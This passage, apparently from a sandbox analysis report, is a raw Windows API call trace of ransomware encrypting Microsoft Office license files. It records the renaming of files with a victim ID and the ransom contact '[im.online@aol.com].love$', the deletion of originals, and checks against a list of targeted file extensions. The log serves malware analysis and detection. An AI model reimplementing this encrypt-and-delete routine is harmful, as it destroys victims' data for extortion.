dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.557] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0277.557] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0277.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0277.559] GetLastError () returned 0x0 [0277.559] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d73, lpOverlapped=0x0) returned 1 [0278.844] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d80, lpOverlapped=0x0) returned 1 [0278.845] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0278.845] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11e, lpOverlapped=0x0) returned 1 [0278.845] SetEndOfFile (hFile=0x484) returned 1 [0278.846] CloseHandle (hObject=0x484) returned 1 [0278.846] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.846] SetEndOfFile (hFile=0x388) returned 1 [0278.850] CloseHandle (hObject=0x388) returned 1 [0278.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0278.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1 [0278.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.852] lstrlenW (lpString=".doc") returned 4 [0278.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.852] lstrlenW (lpString=".docx") returned 5 [0278.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.853] lstrlenW (lpString=".pdf") returned 4 [0278.853] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString=".xls") returned 4 [0278.853] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString=".xlsx") returned 5 [0278.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.853] lstrlenW (lpString=".ppt") returned 4 [0278.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString=".zip") returned 4 [0278.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString=".rar") returned 4 [0278.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString=".bz2") returned 4 [0278.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString=".7z") returned 3 [0278.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString=".dbf") returned 4 [0278.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString=".1cd") returned 4 [0278.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString=".jpg") returned 4 [0278.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.853] lstrlenW (lpString=".doc") returned 4 [0278.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".docx") returned 5 [0278.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.854] lstrlenW (lpString=".pdf") returned 4 [0278.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".xls") returned 4 [0278.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".xlsx") returned 5 [0278.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.854] lstrlenW (lpString=".ppt") returned 4 [0278.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.854] lstrlenW (lpString=".zip") returned 4 [0278.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".rar") returned 4 [0278.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".bz2") returned 4 [0278.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString=".7z") returned 3 [0278.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.854] lstrlenW (lpString=".dbf") returned 4 [0278.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.854] lstrlenW (lpString=".1cd") returned 4 [0278.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0278.854] lstrlenW (lpString=".jpg") returned 4 [0278.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.855] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0278.855] lstrlenW (lpString="O365HomePremR_SubTrial5-pl.xrm-ms") returned 33 [0278.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0278.856] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11183) returned 1 [0278.856] CloseHandle (hObject=0x388) returned 1 [0278.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220 [0278.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0278.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0278.857] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.857] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0278.859] GetLastError () returned 0x0 [0278.859] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2baf, lpOverlapped=0x0) returned 1 [0278.901] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0278.902] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0278.902] WriteFile (in: hFile=0x484, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0278.902] SetEndOfFile (hFile=0x484) returned 1 [0279.043] CloseHandle (hObject=0x484) returned 1 [0279.061] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0279.061] SetEndOfFile (hFile=0x388) returned 1 [0279.066] CloseHandle (hObject=0x388) returned 1 [0279.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0279.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1 [0279.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.068] lstrlenW (lpString=".doc") returned 4 [0279.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0279.068] lstrlenW (lpString=".docx") returned 5 [0279.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0279.068] lstrlenW (lpString=".pdf") returned 4 [0279.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0279.068] lstrlenW (lpString=".xls") returned 4 [0279.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0279.068] lstrlenW (lpString=".xlsx") returned 5 [0279.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0279.068] lstrlenW (lpString=".ppt") returned 4 [0279.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString=".zip") returned 4 [0279.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString=".rar") returned 4 [0279.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString=".bz2") returned 4 [0279.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString=".7z") returned 3 [0279.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString=".dbf") returned 4 [0279.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString=".1cd") returned 4 [0279.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString=".jpg") returned 4 [0279.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.069] lstrlenW (lpString=".doc") returned 4 [0279.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0279.069] lstrlenW (lpString=".docx") returned 5 [0279.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0279.069] lstrlenW (lpString=".pdf") returned 4 [0279.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString=".xls") returned 4 [0279.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString=".xlsx") returned 5 [0279.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0279.070] lstrlenW (lpString=".ppt") returned 4 [0279.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.070] lstrlenW (lpString=".zip") returned 4 [0279.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString=".rar") returned 4 [0279.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString=".bz2") returned 4 [0279.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString=".7z") returned 3 [0279.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0279.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.070] lstrlenW (lpString=".dbf") returned 4 [0279.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.070] lstrlenW (lpString=".1cd") returned 4 [0279.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0279.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0279.070] lstrlenW (lpString=".jpg") returned 4 [0279.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0279.071] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0279.071] lstrlenW (lpString="O365HomePremR_SubTrial5-ppd.xrm-ms") returned 34 [0279.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.072] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=23135) returned 1 [0279.072] CloseHandle (hObject=0x388) returned 1 [0279.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220 [0279.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0279.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.073] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0279.073] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0279.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0279.075] GetLastError () returned 0x0 [0279.075] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0280.491] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5a60, lpOverlapped=0x0) returned 1 [0280.493] ReadFile (in: hFile=0x388, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0280.493] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x118, lpOverlapped=0x0) returned 1 [0280.493] SetEndOfFile (hFile=0x3f4) returned 1 [0280.836] CloseHandle (hObject=0x3f4) returned 1 [0280.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0280.836] SetEndOfFile (hFile=0x388) returned 1 [0280.869] CloseHandle (hObject=0x388) returned 1 [0280.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.872] lstrlenW (lpString=".doc") returned 4 [0280.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".docx") returned 5 [0280.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.872] lstrlenW (lpString=".pdf") returned 4 [0280.872] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".xls") returned 4 [0280.872] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".xlsx") returned 5 [0280.872] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.872] lstrlenW (lpString=".ppt") returned 4 [0280.872] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.872] lstrlenW (lpString=".zip") returned 4 [0280.872] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".rar") returned 4 [0280.872] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".bz2") returned 4 [0280.872] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString=".7z") returned 3 [0280.872] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.872] lstrlenW (lpString=".dbf") returned 4 [0280.872] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.873] lstrlenW (lpString=".1cd") returned 4 [0280.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.873] lstrlenW (lpString=".jpg") returned 4 [0280.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.873] lstrlenW (lpString=".doc") returned 4 [0280.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".docx") returned 5 [0280.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.873] lstrlenW (lpString=".pdf") returned 4 [0280.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".xls") returned 4 [0280.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".xlsx") returned 5 [0280.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.873] lstrlenW (lpString=".ppt") returned 4 [0280.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.873] lstrlenW (lpString=".zip") returned 4 [0280.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".rar") returned 4 [0280.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".bz2") returned 4 [0280.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.873] lstrlenW (lpString=".7z") returned 3 [0280.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.874] lstrlenW (lpString=".dbf") returned 4 [0280.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.874] lstrlenW (lpString=".1cd") returned 4 [0280.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0280.874] lstrlenW (lpString=".jpg") returned 4 [0280.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.874] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.874] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0280.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.876] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=24386) returned 1 [0280.876] CloseHandle (hObject=0x388) returned 1 [0280.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 